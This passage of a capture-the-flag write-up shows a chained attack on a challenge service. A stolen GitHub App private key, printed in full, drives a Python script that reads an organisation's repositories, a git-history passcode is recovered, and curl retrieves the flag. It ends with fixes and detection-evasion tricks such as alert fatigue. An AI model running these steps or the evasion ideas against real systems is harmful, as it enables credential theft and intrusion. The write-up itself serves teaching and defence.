Q0NTc4MSwiaXNzIjoiSXYyM2xpdlJNM3UyNzdvUkk1dXcifQ.FeEXUFIdm3Yeqy48aVUn1ZztO1
wpr7UjjtGxciy3xQlQ1quYKaDbE8ASvQpY58ZMzWYCdIqh8LgxeTYVtP8ZoT21BHTjKAnVOMFNa
EpPQR2P5b5qHLRDug_jwPAvpjlYgIV8EK7wgK5LvEV4HyFYUsDQgapKVEOjvy6kmBQhe7flw4JP
Ri42p57WuIxjDCNd1H0zZSfjXXIYncM2RbvtNmd1s57AM6FWsqvfTBZ3cFUAYiunL-p14d4sCRB
BAiWxbNJBYdmB82aQc6tcVX2o89oWleULcsfnFR8R3iPVpGtNFYJ3EySgYINEixI7LSTyYn1svd
T2m7OS4-2qa4x2kA

Installations:
[{'id': 54931255, 'client_id': 'Iv23livRM3u277oRI5uw', 'account': {'login':
'ofirya', 'id': 87097598, 'node_id': 'MDQ6VXNlcjg3MDk3NTk4', 'avatar_url':
'https://avatars.githubusercontent.com/u/87097598?v=4', 'gravatar_id': '',
'url': 'https://api.github.com/users/ofirya', 'html_url':
```

```
'https://github.com/ofirya', 'followers_url':
'https://api.github.com/users/ofirya/followers', 'following_url':
'https://api.github.com/users/ofirya/following{/other_user}', 'gists_url':
'https://api.github.com/users/ofirya/gists{/gist_id}', 'starred_url':
'https://api.github.com/users/ofirya/starred{/owner}{/repo}',
'subscriptions_url': 'https://api.github.com/users/ofirya/subscriptions',
'organizations_url': 'https://api.github.com/users/ofirya/orgs',
'repos_url': 'https://api.github.com/users/ofirya/repos', 'events_url':
'https://api.github.com/users/ofirya/events{/privacy}',
'received_events_url':
'https://api.github.com/users/ofirya/received_events', 'type': 'User',
'user_view_type': 'public', 'site_admin': False}, 'repository_selection':
'selected', 'access_tokens_url':
'https://api.github.com/app/installations/54931255/access_tokens',
'repositories_url': 'https://api.github.com/installation/repositories',
'html_url': 'https://github.com/settings/installations/54931255', 'app_id':
936113, 'app_slug': 'hueys-app', 'target_id': 87097598, 'target_type':
'User', 'permissions': {'actions': 'read', 'contents': 'read', 'metadata':
'read', 'pull_requests': 'read', 'administration': 'read',
'repository_projects': 'read'}, 'events': [], 'created_at':
'2024-09-16T16:36:26.000Z', 'updated_at': '2024-09-16T16:37:22.000Z',
'single_file_name': None, 'has_multiple_single_files': False,
'single_file_paths': [], 'suspended_by': None, 'suspended_at': None},
{'id': 52443506, 'client_id': 'Iv23livRM3u277oRI5uw', 'account': {'login':
'the-ducks-333', 'id': 174595632, 'node_id': 'O_kgDOCmgeMA', 'avatar_url':
'https://avatars.githubusercontent.com/u/174595632?v=4', 'gravatar_id': '',
'url': 'https://api.github.com/users/the-ducks-333', 'html_url':
'https://github.com/the-ducks-333', 'followers_url':
'https://api.github.com/users/the-ducks-333/followers', 'following_url':
'https://api.github.com/users/the-ducks-333/following{/other_user}',
'gists_url': 'https://api.github.com/users/the-ducks-333/gists{/gist_id}',
'starred_url':
'https://api.github.com/users/the-ducks-333/starred{/owner}{/repo}',
'subscriptions_url':
'https://api.github.com/users/the-ducks-333/subscriptions',
'organizations_url': 'https://api.github.com/users/the-ducks-333/orgs',
'repos_url': 'https://api.github.com/users/the-ducks-333/repos',
'events_url':
'https://api.github.com/users/the-ducks-333/events{/privacy}',
'received_events_url':
'https://api.github.com/users/the-ducks-333/received_events', 'type':
'Organization', 'user_view_type': 'public', 'site_admin': False},
'repository_selection': 'selected', 'access_tokens_url':
```

```
'https://api.github.com/app/installations/52443506/access_tokens',
'repositories_url': 'https://api.github.com/installation/repositories',
'html_url':
'https://github.com/organizations/the-ducks-333/settings/installations/5244
3506', 'app_id': 936113, 'app_slug': 'hueys-app', 'target_id': 174595632,
'target_type': 'Organization', 'permissions': {'actions': 'read',
'contents': 'read', 'metadata': 'read', 'pull_requests': 'read',
'administration': 'read', 'repository_projects': 'read'}, 'events': [],
'created_at': '2024-07-03T08:49:05.000Z', 'updated_at':
'2024-07-03T09:15:39.000Z', 'single_file_name': None,
'has_multiple_single_files': False, 'single_file_paths': [],
'suspended_by': None, 'suspended_at': None}]
```

Critical Finding - Two Installations

1. User account: `ofirya`
2. Organization: `the-ducks-333` (matched our target!)

Exploring Organization Repositories

I modified the script to focus on the ducks organization, using installation ID: 54931255:

```
import jwt
import time
import requests
from pprint import pprint

# GitHub App details from AWS Secrets Manager
app_id = "Iv23livRM3u277oRI5uw"
private_key = """-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEA3L24fbjlhXcWPgXjesTeh3xwVZDV4IwjMh4/OP4l6XAsfPV0
F4yauHcXx72QhuctqFixgghM9NjroB8AsGAU2qDz3Q6HGxQDZFp1GGKVhdwIbMql
vO46yOQ7lHnfuAKuAlr24gPwoxVb2Lay03YO5es/Hh06Y46qiT6yzYjYsmdeQ1QG
R92U18uHHdnmSaQTSFU5Gk6kAHyD/btf7PxVLWFuIc22aKhtqMGFdgBs1kbCj4PF
mFZEZtKCQ38dZqbvCg0fQD9ot86lHQx11jwRhUsm8Bg3Mml9WWc5hAi5HA+NlEGq
Oujt307Zrn1i3f6jxUKYv2eYeBHK7dGETs1NyQIDAQABAoIBADyEKsMU4J/BcTCZ
zq6GsHc2b1mV9ny0DqYb0rteOaiQ3zF23VfjbTtrMvLIjondcQ/5GNkMS4TIv3hL
Z5XzEWSKwbB13iZXS0LE5dtEk7d6BjlFKUDtkuImaAshimrZGTl+FLcL23nqTh7Q
n6AHergf0VMBMlO+9hPgQ4bDoJzv5TKyobyXrO6yfVIlxCsu85/k4WYS8VJbi4Y0
coUEX1M3xBl/vDuTSRDphynGSqeBrQkeKlp4kREBZlaNIupkHHD6QKaqU4YcqWAn
kPBYhJACk803TOgPDAeNUTQMQ6aftwTvYqs+gXyQSPqgu4edkGO/1D4zvUEAhVll
/4TV8v0CgYEA/anwLxIVJQSdLzLiQ6ycXAwTP6/NjuqNFAapjZTI3X8alVxWxjqa
xpBylWlE1En6hv2paqFsqgEuULpZVvWypERanEYtVxiR9itTV31RVjR4fL5Jf0xM
```

```
fTzPT74oGd7sUYNiAbp20TAUf6g+7IBIXkxH99W5xRz3RHIRX8ay9qsCgYEA3sYp
JUJjCcI71hs5qFPkRMQxp9+XnhuUXRbxjZbzyWpEoj05auzJ3Txgbv+ISA/gZLxz
3+DUJtW2U6WfjJI5SPJ79cM+R1xLsbYF/K4ECb7Ny2kPpXTW8Khvm6wuVje30kqL
kfOvEf9K6i0WzpY73SCi2988N5FzM7dGcuK63VsCgYASqexIKlZv8NT34hCP1iVz
CFhqOS8wssVKkerrxeS5l16HWtHvp+Q3c+1aXPJ5hC/wur06YUIzh/62Zd+o7E8G
kxjvoqI3ZFFpAWsSZuATLa0n0IBr41tFY7IFNgKRVLuii74sTmHrplP7yI9Iq2+n
sIkjDRCsFiODX7kziNUmHQKBgQCahlO2D5WJCFzfB+V3mDFnbbuP2W1e83x3Edod
v458sKTI8LTqMTNYrW+qrr9GVRTuazXpHheqlGUzIlhIdokby28mqvaBI0kyDLOc
cMxGQj6XkNmUiDYrmnpIPieqEF4GlUS4yZIvZqj9RKdkRxthKCkvYGpxlQeW4NMS
D6lUrwKBgBppCbkzxN0DgEE29FCi4CHQxepMtkLv5WcJlGd3V+0RsweEi3WgBu4m
DwTa2yfRrNiIf0lU4iTdZZQbG0Hwt0wuPggOvFeFFOvpe+CNkqdy+ONeUAO1RE7I
SaJSjGusu7N99jxlvTvrZRUSvTLiXx+JH4LoGdhLsAe9K3XLPE5G
-----END RSA PRIVATE KEY-----"""

def generate_jwt():
    """Generate a JWT for GitHub App authentication"""
    now = int(time.time())
    payload = {
        'iat': now,
        'exp': now + 600,
        'iss': app_id
    }
    return jwt.encode(payload, private_key, algorithm='RS256')

def get_installation_access_token(jwt_token, installation_id):
    """Get an installation access token"""
    headers = {
        'Authorization': f'Bearer {jwt_token}',
        'Accept': 'application/vnd.github.v3+json'
    }
    url =
f'https://api.github.com/app/installations/{installation_id}/access_tokens'
    response = requests.post(url, headers=headers)
    if response.status_code == 201:
        return response.json()['token']
    else:
        print(f"Error getting access token: {response.status_code}")
        print(response.json())
        return None

def list_installations(jwt_token):
    """List all installations of the GitHub App"""
    headers = {
        'Authorization': f'Bearer {jwt_token}',
        'Accept': 'application/vnd.github.v3+json'
```

```
    }
    response = requests.get('https://api.github.com/app/installations',
headers=headers)
    print("\nInstallations:")
    pprint(response.json())
    return response.json()

def get_org_repos(access_token, org="the-ducks-333"):
    """List repositories for the organization and explore their contents"""
    headers = {
        'Authorization': f'token {access_token}',
        'Accept': 'application/vnd.github.v3+json'
    }

    # Get organization repositories
    response = requests.get(f'https://api.github.com/orgs/{org}/repos',
headers=headers)
    print(f"\nRepositories for {org}:")
    repos = response.json()
    pprint(repos)

    # Explore each repository's contents
    for repo in repos:
        repo_name = repo['name']
        print(f"\n=== Contents of {repo_name} ===")

        # Get repository contents
        contents_url =
f"https://api.github.com/repos/{org}/{repo_name}/contents"
        contents = requests.get(contents_url, headers=headers)

        if contents.status_code == 200:
            pprint(contents.json())

            # If we find interesting files, get their content
            for item in contents.json():
                if item['type'] == 'file':
                    print(f"\nFile: {item['name']}")
                    file_content = requests.get(item['download_url'],
headers=headers)
                    if file_content.status_code == 200:
                        print("Content:")
                        print(file_content.text)
        else:
            print(f"Error getting contents: {contents.status_code}")
```

```
            print(contents.json())

def get_repo_branches(access_token, org, repo):
    """List branches for a specific repository"""
    headers = {
        'Authorization': f'token {access_token}',
        'Accept': 'application/vnd.github.v3+json'
    }
    response =
requests.get(f'https://api.github.com/repos/{org}/{repo}/branches',
headers=headers)
    print(f"\nBranches for {repo}:")
    pprint(response.json())
    return response.json()

def main():
    # Generate JWT
    jwt_token = generate_jwt()
    print(f"\nJWT Token: {jwt_token}")

    # List installations
    installations = list_installations(jwt_token)

    # Find the ducks organization installation
    ducks_installation = next(
        (inst for inst in installations
         if inst['account']['login'] == 'the-ducks-333'),
        None
    )

    if ducks_installation:
        installation_id = ducks_installation['id']
        print(f"\nUsing installation ID for the-ducks-333: {installation_id}")

        # Get access token
        access_token = get_installation_access_token(jwt_token,
installation_id)
        if access_token:
            print(f"\nAccess Token: {access_token}")

            # Get organization repositories and their contents
            get_org_repos(access_token)

            # If we found any repositories, we can explore their branches
            repos = requests.get(
```

```
                'https://api.github.com/orgs/the-ducks-333/repos',
                headers={'Authorization': f'token {access_token}'}
            ).json()

            for repo in repos:
                get_repo_branches(access_token, 'the-ducks-333', repo['name'])
    else:
        print("Could not find installation for the-ducks-333")

if __name__ == "__main__":
    main()
```

Critical Git History Findings

Examining the previous script's output, I found three important commits:

1. Initial setup commit (94b46091f3cde5fd3d344929e81efe5d3e51a850)

```
Commit message: Initial commit
Author: Nitay Bachrach
Date: 2024-06-23T14:03:46Z
```

2. Middle commit (9f5cde429b3b2dd138468f711a6730a796a0204f) - **JACKPOT!**

```
@@ -109,7 +108,7 @@ def post_root(event, context):
return {"statusCode": "403", "body": error_msg}
body = json.loads(event["body"])
-       if body["passcode"] == "ZGi4ADeeKyzfz7wBU2PdKWk8ySL5NdVy":
+       if body["passcode"] == read_secret_json("secrets.json", "passcode"):
```

3. Latest commit (b1f9c7335ebfb0da94a73e1b0fcc660ae3f68117)

```
Commit message: removed passcode
Changes: Moved hardcoded passcode to secrets.json
```

Final Flag Capture

Using the discovered hardcoded passcode:

```
curl -i -X POST https://gtjv4mi0f8.execute-api.eu-central-1.amazonaws.com/ \
```

```
-H "Content-Type: application/json" \
-H "Authorization: Bearer
eyJhbGciOiJIUzI1NiIsImtpZCI6InNlY3JldHMuanNvbjpqa2V5IiwidHlwIjoiSldUIn0.eyJhdWQ
iOiJkdWNrcyJ9.RasmB4NHHVuOvGuJUoZxrvcEPU5Aq7hQjB3_9cBon1M" \
-d '{"passcode": "ZGi4ADeeKyzfz7wBU2PdKWk8ySL5NdVy"}'
HTTP/2 200
date: Thu, 09 Jan 2025 18:14:59 GMT
content-type: application/json
content-length: 55
apigw-requestid: EIfFhhf5liAEMdQ=

{"secret": "secret<I-am-the-bestest-duck!He-he-he-:)>"
```

Success! Flag captured:

```
{
"secret": "secret<I-am-the-bestest-duck!He-he-he-:)>"
}
```

Overview of the Full Attack Chain

1. Found JWT token in web interface
2. Discovered path traversal via JWT's `kid` parameter
3. Read AWS credentials from `/proc/self/environ`
4. Found GitHub App credentials in AWS Secrets Manager
5. Used GitHub access to discover hardcoded passcode in Git history
6. Used discovered passcode to retrieve the flag

Key Vulnerabilities Exploited

1. Path traversal via JWT `kid` parameter
2. Direct file reading in Lambda function
3. AWS credentials exposed in environment variables
4. Sensitive credentials stored in AWS Secrets Manager
5. Hardcoded credentials in Git history

Security Recommendations

1. Validate and sanitize JWT `kid` parameter
    a. Do not allow access to any file, use hardcoded lists of well known files
2. Use secure methods for key storage (not direct file access)
3. Implement proper AWS IAM least privilege principles

4. Use AWS Secrets Manager with more granular permissions
5. Implement proper Git security practices (no credentials in code)
6. Use tools to scan git history for tokens and keys

Detection and Evasion Analysis for Huey's CTF Exploit Chain

Attack Vector Breakdown and Evasion Techniques

JWT Path Traversal Vulnerability

Detection

A few possible venues to detect path traversal are:

1. An agent at the lambda function that detects access to suspicious files in the filesystem
2. Inspecting HTTP requests for well known files and blocking them, e.g., block requests with /proc/self.

Evasion

1. A sophisticated attacker can cause alert fatigue by triggering false alerts from time to time in the system, making sure the defender would not think the /proc/self access is suspicious.
2. A sophisticated attacker can exploit, e.g., a symlink to proc in order to access the file without mentioning its explicit name.

JWT Header Manipulation

Detection

One can report any unexpected kid value. Since we generate the token, there should be zero cases of kid value we did not create.

Evasion

Attacker could crash the code with faulty kid value before our test for unexpected kid happened.

Environment Variable Exposure

Detection

One can sniff outgoing traffic for things that looks like AWS tokens.

Evasion

Attacker could kill the connection one byte before the end of the AWS token, and then bruteforce the unknown byte. It would not look like a token, but it would still be useful.